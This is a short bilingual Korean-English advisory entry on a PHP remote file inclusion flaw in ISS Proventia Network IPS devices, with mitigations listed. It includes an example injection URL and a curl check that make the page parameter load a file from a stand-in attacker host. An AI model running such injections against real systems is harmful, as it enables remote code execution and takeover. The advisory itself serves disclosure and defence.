🇰🇷 한글 설명
ISS Proventia Network IPS 제품의 main.php에서 page 매개변수를 통해 원격 파일이 포함되는 취약점입니다. 이를 악용하면 공격자가 원격에서 임의의 PHP 코드를 실행할 수 있으며, 시스템에 완전한 접근 권한을 획득할 수 있습니다.
💡 쉬운 설명
보안 장비가 웹 페이지 요청에서 받은 파일 경로를 제대로 검증하지 않아, 공격자가 자신의 서버에서 악의적인 코드를 로드하고 실행시킬 수 있습니다. 마치 집의 문이 누구나 열 수 있게 되는 것과 같은 상황입니다.
🇺🇸 원문 (English)
PHP remote file inclusion in main.php in ISS Proventia Network IPS GX5108 1.3 and GX5008 1.5 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.
📍 영향받는 시스템
ISS Proventia Network IPS GX5108 v1.3, GX5008 v1.5
⚔️ 공격 벡터
HTTP GET/POST 요청의 page 파라미터에 원격 URL 삽입 (예: ?page=http://attacker.com/shell.php)
🛡️ 대응 방법
최신 보안 패치 적용, page 매개변수 입력값 검증 및 화이트리스트 적용, 원격 파일 포함 기능 비활성화
🔧 검증 코드
php, warning, error 등의 문자열이 나타나면 RFI 취약점 존재 가능성이 높음. 403/404 에러는 보호됨을 의미.
curl -s 'http://target/main.php?page=http://attacker.com/test.php' 2>/dev/null | grep -i 'php\|warning\|error'